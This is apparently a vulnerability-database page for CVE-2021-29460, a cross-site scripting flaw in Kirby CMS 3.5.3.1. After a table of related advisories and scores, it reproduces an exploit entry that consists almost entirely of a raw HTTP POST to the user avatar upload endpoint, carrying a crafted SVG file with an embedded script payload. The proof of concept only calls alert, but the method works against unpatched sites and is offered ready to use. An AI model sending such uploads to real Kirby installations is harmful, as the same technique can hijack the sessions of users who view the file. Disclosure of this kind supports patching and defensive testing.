Kirby CMS 3.5.3.1 - (file) Cross-Site Scripting Vulnerability
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | CVE-2021-29460 | 28 Apr 202114:05 | – | circl |
 | Kirby 跨站脚本漏洞 | 27 Apr 202100:00 | – | cnnvd |
 | CVE-2021-29460 | 27 Apr 202120:10 | – | cve |
 | CVE-2021-29460 Cross-site scripting (XSS) from unsanitized uploaded SVG files | 27 Apr 202120:10 | – | cvelist |
 | Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS) | 28 Apr 202100:00 | – | exploitdb |
 | EUVD-2021-0862 | 7 Oct 202500:30 | – | euvd |
 | Cross-site scripting (XSS) from unsanitized uploaded SVG files in Kirby | 30 Apr 202117:30 | – | github |
 | CVE-2021-29460 | 27 Apr 202120:10 | – | mend |
 | CVE-2021-29460 | 27 Apr 202120:15 | – | nvd |
 | GHSA-QGP4-5QX6-548G Cross-site scripting (XSS) from unsanitized uploaded SVG files in Kirby | 30 Apr 202117:30 | – | osv-ghsa |
10
# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
# Exploit Author: Sreenath Raghunathan
# Vendor Homepage: https://getkirby.com/
# Software Link: https://github.com/getkirby/kirby
# Version: 3.5.3.1(REQUIRED)
# CVE : CVE-2021-29460
POST /api/users/<userid>/avatar HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF: <redacted>
Content-Type: multipart/form-data;
boundary=---------------------------286121627839893676321700902916
Content-Length: 563
Connection: close
Cookie:
<redacted>
-----------------------------286121627839893676321700902916
Content-Disposition: form-data; name="file"; filename="svgxss.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
stroke="#004400"/>
"><script>alert(1)</script>
</svg>
-----------------------------286121627839893676321700902916--
# 0day.today [2021-11-04] #Data
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28 Apr 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 23.5
CVSS 3.15.4 - 7.6
EPSS0.03174